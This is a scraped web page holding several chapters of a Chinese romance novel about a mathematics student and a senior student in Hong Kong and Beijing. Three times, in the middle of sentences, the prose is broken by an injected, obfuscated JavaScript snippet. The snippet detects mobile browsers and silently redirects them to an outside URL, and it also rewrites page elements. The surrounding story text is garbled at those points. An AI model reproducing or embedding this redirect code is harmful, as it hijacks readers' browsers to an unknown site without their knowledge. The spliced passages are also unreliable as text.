相比她的仓惶,他倒还算镇定,帮她拍完背,还递给她一杯水。 末了,还没忘记问她:“不是说咱俩已殊途吗?你怎么自投罗网跑我地盘了?” 小初咬牙,“你以为你是谁。” 他笑:“忘了讲,我也是Smith教授的研究生,不出意外的话,今年毕业。方太初,咱俩还真有缘分。” 小初默默地骂了他一句。 他澄清:“我可不知道邮箱前缀F.Junior就是你啊,我只是来替教授看看,为什么有人两三天都没来上学。哦,F.Junior是什么意思?小方是吗?” 小初指了指门,“不劳费心,我已经跟教授请过假了,现在,请你出去,然后从外面帮我把门关上,多谢。” 15. 第 15 章 “等一下。”余萧弋说,“能不能给多几分钟时间,我和你说两……”他顿住,似是怕她像上次一样真的就只允许他说两句,立刻改口:“说几句话,说完我就走,绝对说话算话。” 小初睫毛颤了颤,继而无可无不可地看了他一眼:“那就请快。” 余萧弋长舒一口气。可她们宿舍面积太小,他不知道自己该怎么自处,只好问她:“那我坐哪?” 小初有些无语,他要发表演讲吗?还要坐下来谈?但不请他坐好像也很奇怪,因为他就只是站在那,就快把整个房间填满了。 最后只能她妥协,“你坐我椅子上好了。” 余萧弋照做。 小初不好继续坐在床上,便以抱臂的姿势斜倚在了对面林佳宜的桌子上,刻意与他隔开一点距离。但房间还是太小了,小到若是仔细听,甚至能听到彼此的呼吸和心跳。 忽地耳朵就有发烫。 他来之前,她刚洗过头发,这会儿头发半干未干,乱蓬蓬铺在肩上,若是靠近了看,说不定还能看见水汽正在蒸腾的痕迹。还好她知道白天女生楼层可能会有异性访客,穿得还算得体。 不然,还不知气氛要如何暧昧不清。 也不知他是急什么,非这么不合时宜地闯到这里来,就算她真的病得要死了,他来就能解决问题吗?他只是有本急救证,又不是有本行医证。 他有些奇怪,问她:“你不坐吗?” 小初看了看表,“余大少爷,请快说,说完赶紧走,我看外面好像就要下雨了。” 余萧弋似是有些落寞,“你就那么讨厌我?” 小初摇头:“我从来没说我讨厌你。” 余萧弋试探地抬眸看向她。 小初又说:“我只是说我不喜欢你。”然后看他神色一寸寸地暗淡下去。 掌控别人情绪这件事似乎有某种魔力,让人即愧疚又有些成瘾。 余萧弋问:“那你现在好点了吗?还有没有不舒服?为什么生病了没去医院,就这么硬抗着?你都没去验血,怎么就敢胡乱吃药自医?万一发展成肺炎……”他似是说不下去,调整了一下才接着说道:“就要受更大的罪。” 小初并不反感被他这样关心,却还是硬着心说道:“我说了我没那么脆弱。” “没那么脆弱却连拒绝一个人的压力都承受不了,回来就病倒了吗?” 小初蓦然看向他,“余学长,你未免也太自恋了。” 余萧弋愣住:“你叫我什么?” 小初说:“这是我刚才那句话的重点?” 余萧弋轻笑一声:“说起来方小姐还挺让我刮目相看的,上次听你评价那幅画,我还以为你是学艺术出身的,我承认我想了千万种可能,却从没有想过你会是学数学的。” 小初送了他一个白眼:“那你想象力还挺匮乏的。” 余萧弋却不生气,只是笑:“确实。” “不过,学数学也未必就比学艺术高明到哪里去,只是两套不同的思维体系罢了,我有的别人欠缺,别人有的我也无法企及,谁也不必羡慕谁,更不必小瞧谁。” 余萧弋似是有些惊讶,继而点头:“确实。” 小初说:“你是个复读机吗?只会这一句?” 他笑:“说实话,我还猜过过你是学金融的,毕竟,你账算得那么好。” “过奖,账算得好只是因为我比较爱钱而已。” “哦,是吗?”余萧弋抬眸看向她,“这么爱钱,还留钱给男人,看来,他在你心里比钱更重要。” 小初一怔,随即是真的被气笑了,“你要不换个逻辑?我这么爱钱,却宁可伤财都不想再和那个男人有一丝瓜葛,可见他有多么令人避之不及了。” 余萧弋说:“一个只有一两天情分的陌生人而已,费那么多心思干什么?” 小初呼吸一滞,忽觉房间里很闷,起身将窗户打开。 外面阴云密布,气压已极低,但不知怎么刚好起了一阵风,忽地穿堂而过,吹了她一脸的头发。 余萧弋笑出声来。 小初回过头去,已经忍无可忍,“你来这就是说这些闲话的?” 他不答,只说:“我劝你现在最好不要开窗户。” 小初没好气的:“关你什么事,你说完了没有?说完了就可以走了。” 余萧弋说:“还没说完,我来是想和你商量一下,接下来我们俩该以怎么样一种方式相处,我怕处理不好,大家都尴尬。我这个人不太喜欢把工作和私生活掺杂在一起,虽然我现在就是个part time的RA,但工作就是工作。” 小初第一次见人可以不要脸到这种程度的,听他的意思,倒像是怕她后面会追着他,让同组的其他成员看出什么来? “余学长大可放心,你的专业性我已经领教过了,那天要不是为了赶你设置的Deadline,我也不至于熬到通宵让自己大病一场!我现在就可以发誓,以后绝对都像这次一样,就算不要命也会支持你工作!至于其他的,我们不过就是一两天情分的陌生人而已,有什么可说的。” 余萧弋愣住。 小初问:“这个答案你满意了吗?” 他叹口气:“你生病的事我很抱歉,不过,既然作业这么多,周末为什么先做完呢?” “关于我私生活的部分,无可奉告。”小初打开门,已经准备送客了。 “但是。”余萧弋似是很遗憾地看了她一眼:“你既然都熬了通宵了,就要认真一点才对啊,那道函数迭代的题,你集合算错了,你一错,就导致做可视化动图的那个同学也跟着错了,更不要说再后面那个同学做的总结分析了。因为你,你们小组的作业fail了。” 他,在,说,什,么! 小初彻底僵住,反应过来后浑身的皮肤都针刺一般灼烧起来。 但她已顾不上现在的自己有多狼狈,只是又重复了一遍:“你确定?”她可以接受一切,但绝不能接受自己在专业上面犯错。 “具体你查一下邮箱吧,后天之前改完交上来,没问题吧?” 小初强自撑在那里,气焰逐渐熄灭,低声说了句,“具体我还是要看下再说。” 余萧弋看她一眼:“OK。但,你没事吧?” 小初没有温度地浅笑了一下,“放心,好得很。” “那就好。”余萧弋的视线缓缓滑过地板上来自中环某商场的一堆购物袋子,拿起她桌面上一只长耳朵狗狗的包包挂件,问她:“你还喜欢这些呢?” 小初瞪他:“我为什么不能喜欢?” 余萧弋挑了挑眉:“因为你挺凶的,跟这些可爱的公仔联想在一块就很违和,你懂吗?” 小初快被他气死了,两步就到了他面前,一把抢过那只狗:“你说得很对!我就是很凶,我要是不凶,岂不是全世界自以为是的男的都要吻上来了。”说完她又有些后悔,没事她提这个吻上来不吻上来干什么?但话已出口,她也只能装作若无其事了。 余萧弋点点头,向后靠在椅背上,仰头看向她,眼底都是笑意:“挺好的,以后记得就这么保持,免得太多自以为是的男的靠近你。” 小初指了指门的方向:“我要开始检查我的作业了,余学长你请便吧。” 余萧弋却不动,仍盯着她手里那只狗:“好像确实挺可爱的。” 小初没好气把狗扔给他:“可爱你拿走好了,然后带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309761|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着它一块离开这里,下了楼梯左转出大门,一路向前,从坡上滚下去,不要再回头。” 余萧弋大笑:“好,多谢你,方小姐。”然后终于心满意足,忽地起了身。 小初这才意识到两人之间距离已经有多近,赶紧仓皇退后一步,可还没等她来得及回味那才那一瞬间两人衣料摩擦的感觉,瞳孔就悠然放大了。 接着就是整个楼的地动山摇和尖叫声。 小初也不能免俗,一把抓住余萧弋的衣角,已经吓得快哭了,“这都是些什么东西!怎么长这么大个!还会飞!” “飞蚁啦小姐,我刚提醒你了的,最好不要开窗户,你偏说不关我的事,这种天气是这样的。”余萧弋好整以暇地,将视线定格在她抓着她的手上。 小初没空跟他斗嘴,只说:“那现在怎么办,它们为什么连纱窗都能钻进来?” “先去把窗户关上。” 小初看着他的眼睛,祈求道:“你去,可以吗?” 余萧弋嘴角勾起一个好看的弧度:“我去也可以,但你能不能先放开我?” 小初这才被烫了似的倏然放了手。 然后趁他去关窗户的空档,她已经跳上床,以站着的姿势用被子将自己围了起来。虽然窗户关得还算及时,但房间内已经飞进来不少挥着翅膀的超级飞虫,对于她这种北方人来说,这画面简直是致命。 小初欲哭无泪:“林佳宜一定会杀了我的,我刚看见她水杯里好像飞进去一只。” 余萧弋看她一眼:“没关系,你水杯里也有。” “啊?” 完了完了,她要死了。 “你们这什么破地方啊,还没有我们北京十分之一好!” “我开玩笑的。”余萧弋大笑,“放心好了,没飞进来几只,我帮你消灭掉就好了。” 小初有求于人,也没敢骂他,难得的温驯,“谢谢你啊余学长,我早说了你是个好人的。” 余萧弋没好气看她一眼,“但愿你下次见了我还这么说。” 小初弯起眼角:“我这人始终如一的。” 他不再理她,没几下就把窗台和书桌上以及灯下的大部分飞蚁收拾了个干净,并用纸巾包好扔进了垃圾桶里。 “应该差不多了。” 小初狐疑,“你确定吗?” 余萧弋转向她,因为她站在床上,所以比他高了一大截。 窗外开始下雨,好多人都在往楼里跑。 他朝她勾勾手:“过来。” 小初立刻惊悚地瞪大了眼,“干嘛?不会是我身上还有吧?你别吓唬我啊。” 余萧弋说:“头发上好像是有一只。” 他的神情极为认真,小初听了几乎没晕厥过去,也顾不上那么多,赶紧俯身下来,催促他,“快快,赶紧帮我拿掉!” 在她看不见的地方,余萧弋的嘴角浮起一丝微不可察的温柔,随即纸巾在她的发丝上轻轻一扫,“好了。” 小初抬起头来,和他对视:“真的吗?” “真的。” 两人已近到呼吸可闻。 小初这才意识到什么,神色愣住。 两人就这么对视了一会儿。 直至余萧弋说:“我得走了。” 小初如梦初醒,被子里的脚趾已缩成一团。 “哦。” 然后他就真的转了身。 小初忽地叫他:“余萧弋,我桌上有伞。” 他回眸过来,回了句温柔的粤语,“多谢晒你。”又扬了扬手里的大耳朵狗,“这个我拿走了啊,作业记得按时交。” 他一出门,小初就跌坐在了床上。 总感觉哪里不太对。 16. 第 16 章 下午一点,图书馆。 方太初在latex上敲下最后一个字符,又将整个运算过程仔仔细细核对过,才轻吁一口气,点击完成保存并以邮件的方式抄送给小组内的所有成员。 从余萧弋离开她的宿舍到现在,一天一夜,除了吃饭,她几乎把所有课下时间都用在了这份作业上。 昨天晚上她更是只睡了四个小时,才终于在二十几页密密麻麻的英文和符号中发现错误并逐一修正。中间还将某个重要公式重新推演了一遍。 如此浪费好多时间。但好在,最终的结果,已接近完美。 一颗心终于踏实下来。 此刻的她已极度疲惫,只想好好睡一觉。 这里的学习桌被隔板挡着,都是一个个独立的小格子间,私密性还可以,可以保证她不被打扰。 不知睡了多久,恍惚间有人拍她的肩膀,小初懵懵然抬起头来,一看是余萧弋,还以为自己在做梦,“Theo余,你怎么阴魂不散的,别人躲图书馆里睡会儿觉也能被你发现。学校那么大,世界那么大,你就没有自己的事可做吗?” 说完,她就又想往下趴,却被他拉住,“别在这睡,不然回去再发烧怎么办?” 小初闭上眼睛,眉间已是不耐,“烦不烦啊。” 余萧弋说:“烦我也不能放任你不管,你在这边还有别的朋友吗?” “谁跟你是朋友啊?不是告诉你带着我的狗从长坡上滚下去就别再回头了吗?” “你的狗在这呢。”他语气轻柔。 小初慢慢睁开眼,果然看见了她的狗挂在他的包包上,那么可爱的小东西,和他配一块不知怎么就有点好笑,然后她就真的笑了。 余萧弋松一口气,问:“你吃饭了吗?” “没呢,也不太饿,就是困,偏偏你还来扰人清梦。” “那我们去吃吧。” “不吃。”小初换了个姿势趴下去,“我约了个discussing room,两个小时后和我们小组成员简单碰个面,还要赶去机场。” 余萧弋蹙起眉:“你是把自己当成机器了吗?去机场做什么?” “回北京,参加一场考试。”小初说完这句是真的撑不住了,没一会儿就沉沉睡去。 再醒来,已经是一个小时之后。 身体一动,什么东西就顺着肩膀滑了下去,她定睛一看,才发现那是余萧弋的外套。 香港的室内冷气都开得很足,没有外套确实容易着凉。 “醒了?”他的声音从身后传来。 小初这次脑子清明了许多,却也因此有些窘迫。 从认识到现在,两人之间已太多不可言说的巧合,巧合到她甚至都怀疑他们是被什么人拉进了本不属于他们的剧本里。 如果真的是这样,那她和他的剧情走向是什么样的?结局又如何? “嗯。”小初将他的外套从地上捡起来递给他,“谢谢你。” 余萧弋说:“还有点时间要不要去吃点东西?我听说楼下餐厅的乌冬面很不错。” 小初看了看他,犹豫不决。 她当然知道只要夜里举目就能看到漫天璀璨的星辰,但她也同样知道宇宙的运行法则,所有天体之间的距离都很远。 因此,当你乘飞船星际旅行,所经历的不会是一颗颗美丽的星星从身边划过,而是无边无际的荒芜和孤寂,连碰到一颗小行星的几率都很低。 人生的旅程本来就是孤独的。 而现在,有人告诉她,在多少光年之外,恰好就有一颗和地球一样的行星,差不多的质量和密度,差不多的公转自转周期,差不多的氧气含量和温度,差不多同样适合碳基生物孕育和生存,并且可以告诉她这颗行星的精准坐标,那她一定会认为…… 这是个骗局。 而人在同一个星球上遇到真正与自己契合的灵魂的概率甚至比这个还要低。 所以余萧弋出现在她人生里这件事,从头到尾,都让她心惊和防备。 她从不相信什么一见钟情。 “是Cathy告诉我你在这的。”余萧弋解释。 小初说:“你不是不想让他们知道你和我认识吗?” 余萧弋眨眨眼,“我说我是来找你催作业的。” 她骂:“魔鬼。” “走吧,魔鬼也得吃饭。” 他自然而然帮她收起电脑。 在小初反应过来之前,已经跟着他下了楼。 一路上不知吸引多少人目光,好多人跟他热情打招呼,叫他:“余学长。” 小初问:“余萧弋,你本科也在这里念的吗?” 他点头:“嗯。” 她笑:“那你这几年一定没少出风头。” 他斜睨她:“何以见得?” “因为从那些女生的眼睛里就能看出你是个有故事的男同学。怎样,该不会你前好几任都是咱们的校友吧?” 余萧弋挑眉看她一眼,“方太初,你这是开始对我的私生活感兴趣了吗?” 小初立刻闭了嘴。 楼下餐厅的乌冬面确实不错,小初一边吃一边看手表,生怕自己错过约定时间。 “Relax啦,还早呢。” 小初说:“本来因为自己影响整个团队就已经很不好意思了,再迟到肯定会被人骂。” “回北京考什么?” 小初叹口气:“法考啊,还不确定自己能不能一次就过呢,如果考不过,下个月的第二场考试也不用参加了,省心了。” 余萧弋被迷一样的她又震撼了一次,隔了几秒才说:“一定过的。” “借你吉言。” 两人碰了碰杯子。 “所以你就是因为要赶回北京考试才这么快把作业改完的?” “是,也不是。”小初笑笑:“主要我接受不了自己犯那么低级的错误。” 余萧弋不疾不徐地帮她把茶杯续满,“只要是人,谁能保证自己不犯错误?你不要对自己太苛刻了,那样会很辛苦的。” 小初答,“那怎么办?从小到大已经习惯这样的自己了。而且,浪费了那么多时间算出来的结果竟然是错的,简直不可原谅。” “那不是更奇怪吗?”余萧弋的目光通透落在她的脸上,“你自己都是学数学的,难道会不知道截止到今天,黎曼猜想还没有被数学界严格证明?要是以结果论,大多数数学家一辈子都是在浪费时间。” 小初愣住,继而一笑:“也是。” 两人不再就这个问题继续探讨。 直至一顿饭快吃完,余萧弋才不经意地说了句:“那帮人都认识我,不是因为我是什么有故事的男同学,只不过因为我之前是击剑队的,代表学校参加过一些比赛而已。” 小初瞪大眼:“是吗?” 余萧弋笑:“你不用这么震惊,我成绩很一般。” 小初眨眼:“这个我知道,一定是因为你没有那么多时间练习罢了,要不然……” 两人异口同声:“奥运会也没什么可望而不可及的。” 然后又一同大笑。 小初喝掉最后一口茶:“走了啊,下周见。” 余萧弋点点头,开玩笑似的问了句:“要不要待会送你去机场啊?” 小初摆手:“别,咱俩就这样君子之交淡如水挺好的,你离得太近我容易应激。” 余萧弋想了想,“那请问君子,你能把我微信加回白名单吗?” “……” 晚上十点,小初落地首都机场。 才三四周没回家,就好像过去了一个世纪。北京的秋天早晚很凉,小初没带行李,一出机舱就冻得抱起了双臂,还好,黄亦玫已在到达大厅等她。 一见她面她就心疼地抱住了她,“天呐,方小姐怎么瘦成这样了。” 小初说:“水土不服。”又问,“我爸回来没说我瘦了?” “没!” 小初假装吃醋,“那是因为他更心疼您,怕您担心我呢!” 黄亦玫把厚外套披在她身上,“这倒是有可能。走吧,妈妈带你去吃好吃的,想吃什么?” 小初问:“我爸出差了?” “嗯,大概下周才能回了。” 小初抱住她妈妈,“那你寂寞吗?” 下一秒就被黄亦玫戳住了脸颊,“没大没小!” 两人驱车直奔家附近的一家烧烤店,小初吃了一大堆滋滋冒油的炸物,最后又来了一份炒方便面,差点把她妈妈心疼出眼泪来。 “就这么饿?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309762|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯,特饿,明天还想吃姥姥做的炸酱面。” 黄亦玫眨眼,“心有灵犀,我也想吃。” 两人一拍即合。 看到这碗方便面,小初才想起余萧弋来,略作思考,还是把他从黑名单里拉了出来。 拉回来的瞬间,历史聊天记录就跃然而出,最后一条显示的还是她冒雨离开绮丽的那一晚,他给她发的消息:那晚安,明天一起吃早餐。 小初有些恍惚。 黄亦玫不经意问她:“子瑜还好吗?” “妈,他在香港那边交了个女朋友,俩人已经好了半年多了。” 黄亦玫深深看向她,似是很意外,又像是早料到会如此似的,安慰道:“没关系啊,人和人之间可能是需要一点缘分的,至少,你们曾经是最好的朋友,对吗?止步到友情也是个不错的结局。” 小初笑,很奇怪,此刻的她已经再没有任何难过的感觉,“放心吧妈妈,我想得通。” 黄亦玫点点头,不再多说,只是把目光转向她面前的那满满一大盘子:“那这份方便面你要自己吃完啊,我减肥我一口不吃的。” 小初郑重其事,“保证完成任务!” 那个盛方便面的盘子非常漂亮,小初拍了张照片发到朋友圈,配文:「深夜食堂」。 饭还没吃完就收到几十条评论。 方协文说:「你好容易回来一趟,就不能带我老婆去吃点好的吗?」 舅舅黄振华说:「会不会吃,老北京方便面,你得配一瓶北冰洋。」 小初漫不经心一路看下去,直至看到那句明显不一样的:「好唔好食?」眸光才轻轻闪了一下。 连她自己都没意识到她上扬的嘴角勾起的一抹淡笑。 「好好食。」 回完这一句她就把手机倒扣在了桌子上,心情明媚地吃完了一整份面。 黄亦玫不说话,只看着她笑。 两人回到家也在挤在一个枕头上睡觉,小初有时候觉得她的妈妈不像妈妈,至少不像其他大多数人的妈妈,她更像她的朋友,但远比她的朋友更善于倾听她,并永远懂得什么时候应该沉默,什么时候应该给她适当的意见。 只是这样闻着她头发的味道,她就莫名安心。 父爱和母爱是两个不同的维度,还好,她已全部拥有。 “妈妈,我在香港特别想你。”小初轻绕着黄亦玫的发丝,迷迷糊糊地撒着娇。 “那我倒希望你有一天没那么想我。” “为什么!”小初抗议。 黄亦玫不答,只是轻轻关上了灯,“快睡吧,明天还要考试。” “嗯。”小初将自己的下巴埋在妈妈的颈窝里,没一会儿就睡着了。 她太累了,不止是这一两天,而是这整整半年。直至此刻,她才心归故乡,感觉自己彻底被治愈了。 第二天的考试还算顺利,考完试,小初就和黄亦玫直奔清华家属院,吃上了她们心心念念的家庭版炸酱面。 姥姥姥爷年纪大了,方协文和黄亦玫不止一次请他们过去一块生活,也方便照顾他们的身体和起居,但都被拒绝了。 问就是他们一辈子待在这个环境习惯了,爬爬步梯有益于身体健康,和老同事老朋友聊聊天还能预防老年痴呆。 老一辈革命工作者的意志像钢铁,黄亦玫无法撼动,黄振华也没辙,最后只能随他们去。 好在他们的身体还算不错,晚年生活质量蛮高的。 小初在清华园又住了一晚,然后才精力十足地踏上了返港的飞机。北京秋天的风很清爽,阳光干燥,已经足够她抵御她即将踏入的很长一段时间的潮湿。 临出发前,余萧弋发微信过来,说他到机场送铭仔去温哥华,问要不要顺便载她回去。 见她半天没回,他又说:“如果过意不去,可以付车费,三百港币多是多了点,但勉为其难我也可以笑纳。” “……” 小初回他:“你也别笑纳了,我给你带点北京特产过去好了。” 余萧弋受宠若惊,“啊?这会不会太麻烦?” 小初没回,而是直奔机场内的某家老字号,给他点了杯老北京豆汁儿。 她已想好,一会儿也用那句粤语问问他,“好唔好食呀?” 17. 第 17 章 这一次北京飞香港,天气晴好,飞行顺利,航班甚至比预定时间还早到了七分钟。 飞在云端之时,方太初不止一次看向那杯老北京豆汁儿,想象着那个人喝下它时的表情该是如何痛不欲生。 她本不是个无聊到此等境地的人,却不知为何突然变得这么幼稚,一颗心更是如同充满了氢气的气球,漂浮且易燃。 离闸机还有很远,她就在一片嘈杂和纷乱中看见了他。 世界不知怎地安静下来。 她走向他。 他应该是在和什么人打电话,分散的精力让他并没有第一时间发现她,这刚好让她无需刻意回避目光。 她当然一开始就知道他长得很不错,却从不知他在人群中竟有这么醒目。 然后一个奇怪的念头就跳了出来,他和叶子瑜,不谈内在只说气质,到底哪里不一样? 她说不上来,但就是不一样。 他们都很幸运,拥有着令人羡慕的人类建模,只不过叶子瑜的鼻骨更优越一些,而他,则眉眼更深邃。 就像北方高耸入云的落叶白杨和南方枝叶层叠的常绿香樟,是不需要在美感上分出胜负的。 余萧弋的taste很好,每次都能用最简约的衣服饰品搭配出赏心悦目的效果。她注意到他头发比她们第一次见面时长了好多,鬓角处的头发用水性发蜡微微拢向耳后,只一点点,就让那种压抑不住荷尔蒙涌动从谦逊有礼的外表下蔓延出来,性感得很含蓄,却又无处不在。 性感两个字让小初红了脸,离他剩两三步时,她那颗氢气球已在爆炸边缘。 正要开口打招呼,不想另一个航班的旅客也从闸口走了出来,接机的人呼啦啦靠上前去,有个举着牌子的冒失鬼,也不知要接的是个什么重要人物,竟激动得慌不择路,直冲他们之间斜插过来,小初躲避不及,下意识就闭上了眼,做好了被他撞上的准备。 可半晌过去,她担心的事情也没有发生,待她试探地睁开眼,才发现余萧弋正看着她笑呢,一只手虚虚护着她的头,半个身子帮她挡住那男人的同时,耳边的电话甚至还没讲完。 小初立刻反应过来,他这是早就看见她了?不仅看见了,还预判了她可能遭遇的危险? 小初的氢气球砰的一声炸成了碎片,金色粉末飘飞下来,她但愿他没看见她打量他时肆无忌惮的目光。 那男人连道歉都未道歉就跑开了。 余萧弋挂掉电话。 “嗨。”他说。 小初不知道说什么,也说了声:“嗨。” 空气一下子凝住。 “坐这么久飞机累了吧?” “你什么时候到的?” 两人同时开口,而后又一块露出笑容。 “不累,这次挺快的。”小初说。 “快吗?”他淡淡的,“我明明等了好久。” 小初不可思议地看向他。 他弯起眼角,“开玩笑的,这边人多,我们先出去吧。” 小初点点头。 两人一块往外走,小初落后一步,她看不见他的脸,目光只落在他弓箭包上的长耳朵狗挂件上,他的步子太大,小狗一直随着他的节奏蹦蹦跳跳着。 怎么看怎么滑稽却也很可爱。 余萧弋突然回过头来,问她:“你跟在后面干什么?我看你那天从新界上的山上下去的时候,跑得挺快的。” “……”她瞪他一眼。 “不是说给我带什么特产了吗?在哪呢?不会忘了吧?” 小初心里的愧疚顿时荡然无存,心想你一会儿别后悔就行。然后就把那个还贴着老字号标签的杯子从保温袋里拿了出来,并亲手帮他插上吸管,递到他面前:“那怎么能忘呢,我方太初岂是言而无信的人?” 她的笑容有种即将得逞的快意,“请吧Theo余。” 余萧弋狐疑看着她:“我怎么感觉这里面有什么阴谋呢?”他看了看包装上的字,“这东西和豆浆什么区别?” 小初特别真诚:“从原材料的角度上来说,没有区别。” 余萧弋送给她一个你最好跟我说的实话的眼神就含住了那根吸管。 小初紧紧盯住他的表情。手指甚至已经不自觉抓紧了口袋里的纸巾,以防他一口吐出来好帮他按回嘴里去。 他开始吸了。 他的喉结动了动。 他吞了下去,面无表情。 似是意犹未尽,他竟又吸了大大一口。 小初难以置信,瞪大眼睛看向他深邃的眼底,而那里也一片平静,平静得像一方冬天结了冰的湖。 “这,这么好喝吗?” 小初又仔细看了下杯子上的包装,甚至有点怀疑自己买错了。 豆汁儿这东西虽说她长这么大就喝了那么一次,但她十分肯定,她这辈子都不可能忘记它的味道了,她估计她上辈子在街边要饭的时候都没喝过那么难喝的东西。 可眼前这个Theo余怎么回事,竟然喝得这么气定神闲,怡然自得?难道是这些老字号都改了配方调整了风味? “好喝啊。”余萧弋奇怪看她一眼,“怎么,好喝很奇怪吗?” “当,当然没有!”小初即刻否认。 然后她还是没忍住,“我问一下啊,它在你嘴里,究竟是一种什么味道啊?” “就豆香味啊。” 余萧弋的表情不像撒谎。 “豆香?” “嗯,有点区别,但不太多。” “真的假的啊?”小初好奇至极,一把从他手中拿过那杯已经被他喝了小半杯的不明液体,在自己和他都没反应过来之前,已经就着他刚刚的吸管咬了去,接着还没过一秒,她就直接呕了出来,要不是她手里就攥着纸巾,今天她就得留下来给香港机场做卫生。 “余萧弋!”她咳得眼泪都下来了,恨不能将自己整个都跳进水里洗一遍,“你故意的吧!” 小初一阵怆然涕下。 一抬头,却见他仍盯着那个杯子发呆,不禁更气不打一出来,问他:“你包里有水吗?” “啊……有。”余萧弋手忙脚乱将包里的水杯找出来递给她。 小初也没客气,就那么就着他的杯沿大大灌了几口水下去,这才将那股令人痛不欲生的该死的味道冲淡下去。 “余萧弋,你是不是味觉系统有问题啊?”小初快疯了。 这豆子怎么跟死了一千年似的。 “没有啊,我就是觉得还可以啊。你该不会是知道它味道不好才特意买给我的吧?”余萧弋瞪着黑白分明的眼睛看向她,一副很受伤的样子。 小初的心蓦地一动。 “怎么会!”小初把他的杯子放回到他的包里去,若无其事地拉上拉链,然后才说,“我们是朋友!我怎么会那么对自己的朋友!” “谢谢你啊,方太初,你也是个好人。”他学她的语气。 小初望向他。 余萧弋再次含住那根吸管。 像奔赴一场心甘情愿的死亡。 “好了。”小初抢过那个杯子,“不要喝了。” “为什么?” “不为什么。”小初把杯子扔进垃圾桶,声音有点闷,“我们去吃饭吧,我饿了。” “哦。”余萧弋想了想,“忘了和你说,我是跟我另外一朋友一起来送铭仔的,但是他懒得等我,就把车开走了,现在,我们只能去坐MTR了。” 小初被气笑,“你这都交的一群什么朋友啊?铭仔几点的飞机?” “上午十一点。” “什么?”小初看了看手表,直至确认现在已经下午两点,“所以你一个人在这等了三个小时?” “也没有干等着,我用平板看paper来着,不过现在确实有点饿了。” 小初已不知怎么形容自己此刻的心情,只问他,“那你想吃什么?” “我们去我从小吃到大的一家冰室吃通心粉好唔好?” 余萧弋的神色无限期待和温柔。 小初心一软,就点了头。 他们从香港机场先到青衣乘东涌线,然后又换荃湾线,直折腾了快四十分钟才到达目的地。 可是很奇怪,好像两个人都没觉得累。 其中一段有几站地,他们只有一个座位,小初坐着,他就站在她的前面,不远不近,两个人各自听着自己的音乐,始终没有说话。 可只有小初知道,她全程都在看他的手,他的手指真的好长,她悄悄在心里比较了一下,大概能将她的整个包裹在掌心。 耳机里传来的是旋律很美的一段钢琴,她想,他若是弹钢琴,拇指和尾指张开肯定可以跨一个八度不止,要不是因为手太小,她小时候也未必不会把钢琴坚持下去,导致现在一个音乐方面的业余消遣都没有。 正发着呆,却忽见他对着她打了响指,小初蓦地抬起头来,脸色已泛红,“怎么了?” “到了。” 两人在油麻地下车,又走了几百米才终于到了他所说的那家冰室。 非常其貌不扬的一间小店,至少小初并没有看出它和街上其他的小馆子有什么区别。也可能他们去的时段还好,并没有碰见所有网红店都不可避免的排队大军。 直至她们捡了个不起眼的位置坐下来,她才看见密密麻麻的一整面墙的店家和明星名流们的合影。 小初咋舌,“真是酒香不怕巷子深。” 余萧弋说:“你仔细找找,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309763|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面有小时候的我。” 小初瞪大眼睛:“真的?” “当然真的。”又问她,“你吃什么?” 小初其实在飞机上已经吃过,这会儿根本不太饿,于是跟他说:“你随便点就好。”说完就把注意力都转到墙上去了。 余萧弋于是直接按习惯点了番茄通心粉和红豆牛奶冰,又帮她点了黑松露蛋多士配冻奶茶,额外还点多了一个他们家的招牌菠萝包。 店主是个五十岁上下的矮胖男人,店里除了两个伙计就是他,生意好的时候忙得几乎脚不沾地,这会儿人不多,才有空掀起眼皮看看店里的食客,这么一掀不要紧,竟看到个熟悉面孔来,下一秒已经满脸堆笑迎上前来:“余少好耐冇见!” 小初刚好这会儿懊丧地转过头来,“找不到,这么多人,又都长得差不多,我到哪里找?” 余萧弋睨她一眼:“什么叫都长得差不多?” “就是差不多啊,你们的眉眼。”小初用两只手分别挡住自己的眼睛上下,“就都很像,你不觉得吗?” 余萧弋好心提醒她,“小姐,跟你说了我妈妈是哈尔滨人,当年也是靓绝松花江的,我长得最像她,你会一眼看不到?” 小初说:“可你是个MIX啊,你妈妈是你妈妈,你是你。” 余萧弋咬咬牙。 店家看出端倪,即刻用普通话搭话,“余少女朋友生得好靓啊。” 余萧弋还没来得及反应,小初就接过话去,满脸拒绝,“可是你们夸猪脚饭也说好靓,好靓这个词真的是用来夸人的吗?” 大家都笑。 余萧弋抬眸看向她。 眼底有什么东西已经压制不住。 店主说:“那这靓就是漂亮,好的意思,小姐你靓到爆晒镜。” 小初指了指墙,“他真的在这上面吗?” “当然在啦,我指给你看啊。”店主慢慢扭着身子,将他的一身肥肉挪动过来,“这不就是吗?” 